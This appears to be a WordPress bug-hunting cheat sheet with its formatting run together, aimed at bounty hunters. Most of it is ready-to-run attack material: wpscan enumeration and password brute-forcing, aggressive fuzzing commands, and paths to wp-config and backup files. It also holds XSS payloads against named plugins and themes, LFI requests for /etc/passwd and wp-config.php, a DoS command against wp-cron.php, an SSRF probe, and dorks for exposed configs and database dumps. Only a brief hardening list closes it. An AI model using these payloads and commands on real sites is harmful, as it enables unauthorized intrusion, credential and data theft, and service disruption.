Loading...
Comprehensive guide to WordPress bug hunting, from architecture understanding to advanced exploitation techniques.
WordPress security testing with plugin/theme vulnerability detection and user enumeration.
Last updated: 2026-05-15
Core: Main WordPress files maintained by the communityThemes: Control design but often include PHP/JS codePlugins: Extend functionality but biggest source of vulnerabilitiesAttackers don't target WordPress core - they exploit poorly coded plugins or misconfigured themes/ (webroot)
├─ index.php # Loads WordPress environment
├─ license.txt # WordPress GPL license
├─ readme.html # Basic info about WP installation
├─ wp-config.php # Main configuration (DB, keys, salts)
├─ wp-login.php # User login & authentication
├─ xmlrpc.php # XML-RPC API endpoint
├─ wp-admin/ # WordPress admin dashboard core
├─ wp-includes/ # Core WordPress libraries & functions
└─ wp-content/ # User content (safe to edit)
├─ plugins/ # Installed plugins
├─ themes/ # Installed themes
├─ uploads/ # Media library (user uploaded files)
├─ languages/ # Translation files
├─ mu-plugins/ # Must-use plugins (auto-loaded)
├─ cache/ # Cache files
└─ upgrade/ # Temporary files during updateswpscan --url https://domain.com --api-token YOUR_TOKENwpscan --url https://domain.com --disable-tls-checks --api-token <here> -e at -e ap -e u --enumerate ap --plugins-detection aggressive --forcenmap -p- --min-rate 1000 -T4 -A target.com -oA fullscandirsearch -u https://example.com --full-url --deep-recursive -rdirsearch -u https://example.com -e php,cgi,htm,html,shtm,shtml,js,txt,bak,zip,old,conf,log,pl,asp,aspx,jsp,sql,db,sqlite,mdb,tar,gz,7z,rar,json,xml,yml,yaml,ini,java,py,rb,php3,php4,php5 --random-agent --recursive -R 3 -t 20 --exclude-status=404 --follow-redirects --delay=0.1ffuf -w seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://example.com/FUZZ -fc 400,401,402,403,404,429,500,501,502,503 -recursion -recursion-depth 2 -e .html,.php,.txt,.pdf,.js,.css,.zip,.bak,.old,.log,.json,.xml,.config,.env,.asp,.aspx,.jsp,.gz,.tar,.sql,.db -ac -c -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0" -t 100 -r -o results.jsonffuf -w @coffin-payloads/coffin@wp-fuzz.txt -u https://target.com/FUZZ -fc 401,403,404 -recursion -recursion-depth 2 -e .html,.php,.txt,.pdf -ac -H "User-Agent: Mozilla/5.0" -r -t 60 --rate 100 -chttps://github.com/coffinxp/payloads/blob/main/coffin@wp-fuzz.txt/wp-json/wp/v2/users/wp-json/wp/v2/users/1/wp-json/wp/v2/users/2/wp-json/?rest_route=/wp/v2/users//index.php?rest_route=/wp/v2/users/wp-json/wp/v2/users?page=1/wp-json/wp/v2/users?search=admin/wp-json/userswpscan --url https://target.com --username admin --passwords /path/to/passwords.txt --disable-tls-checkswpscan --url https://target.com --usernames /path/to/usernames.txt --passwords /path/to/passwords.txt --disable-tls-checkswpscan --url https://target.com --usernames admin --passwords /path/to/passwords.txt --disable-tls-checks --max-threads 10/wp-config.php/wp-config.php.bak/wp-config.php.save/wp-config.php.old/wp-config.php.orig/wp-config.php~/wp-config.php.txt/wp-config.php.zip/.env/.env.bak/.env.old/.env.save/.env.example/.env.local/backup.zip/backup.tar.gz/db.sql/database.sql/dump.sql/wordpress.zip/wp-login.php?action=registerid: wp-login-register-detect
info:
name: Detect WordPress Registration Page
author: yourname
severity: info
description: Checks for WordPress user registration endpoint exposure
requests:
- method: GET
path:
- "{{BaseURL}}/wp-login.php?action=register"
matchers:
- type: word
words:
- 'user_login'
- 'user_email'
condition: and
- type: status
status:
- 200/wp-admin/setup-config.php?step=1https://github.com/coffinxp/nuclei-templates/blob/main/wp-setup-config.yamldomain.com/wp-admin/admin-ajax.php?action=tie_get_user_weather&options={'location':'Cairo','units':'C','forecast_days':'5</script><script>alert(document.domain)</script>custom_name':'Cairo','animated':'true'}domain.com/wp-content/themes/ambience/thumb.php?src=<body onload=prompt(1)>.pnghttps://domain.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwdhttp://target.com/index.php?page=about.phphttp://target.com/index.php?page=../../../../etc/passwdhttp://target.com/wp-content/themes/twentytwenty/page.php?file=../../../../wp-config.phphttp://target.com/wp-content/plugins/plugin-name/download.php?file=../../../../wp-config.phphttps://github.com/coffinxp/payloads/blob/main/lfi.txt./doser -t 100000 -g "https://target.com/wp-cron.php"return a 500 Internal Server Error upon refresh, the DoS issue is confirmedhttps://github.com/Quitten/doser.gohttps://target.com/wp-content/debug.loghttps://target.com/wp-admin/install.phphttps://target.com/wp-json/oembed/1.0/proxy?url=<attacker-controlled-url>Impact: Internal network scanning, accessing cloud metadata (AWS/GCP), leaking sensitive data from internal serviceshttps://github.com/coffinxp/nuclei-templates/blob/main/wordpress-takeover.yamlhttps://target.com/wp-content/uploads/https://target.com/wp-content/plugins/https://target.com/wp-content/themes/https://target.com/wp-includes/https://target.com/wp-content/backup/https://target.com/wp-admin/backup/site:target.com inurl:wp-contentsite:target.com inurl:wp-adminsite:target.com "Powered by WordPress"inurl:readme.html "WordPress"inurl:/wp-includes/js/wp-embed.min.jssite:target.com "WordPress" "version"inurl:wp-content/plugins/plugin-namesite:target.com inurl:wp-content/plugins "index of"site:target.com "wp-content/plugins" + "vulnerable-plugin-name"inurl:wp-content/themes/theme-namesite:target.com inurl:wp-content/themes "index of"site:target.com "wp-content/themes" + "vulnerable-theme-name"inurl:wp-login.phpintitle:"WordPress › Login"site:target.com inurl:wp-admin/admin-ajax.phpinurl:wp-config.phpsite:target.com ext:txt "wp-config"site:target.com ext:log "wordpress"inurl:wp-content backup.zipsite:target.com ext:sql "wordpress"site:target.com ext:bak "wp-config"site:target.com ext:sql "INSERT INTO wp_users"site:target.com "database dump" "wordpress"site:target.com "Fatal error" "wordpress"site:target.com "WordPress database error"site:target.com Index of /wp-adminsite:target.com "index of" /wp-content/uploads/site:target.com inurl:wp-json/wp/v2/userssite:target.com "xmlrpc.php"site:target.com intitle:"index of" wp-includessite:target.com intitle:"index of" wp-contenthttps://wpscan.com/wordpresses/#1: Keep WordPress, Plugins & Themes Updated#2: Remove Unused Plugins & Themes#3: Limit Access to Sensitive Files & Endpoints#4: Enforce Strong Authentication#5: Rate Limiting & WAF#6: Secure Backups#7: Subdomain & DNS Hygiene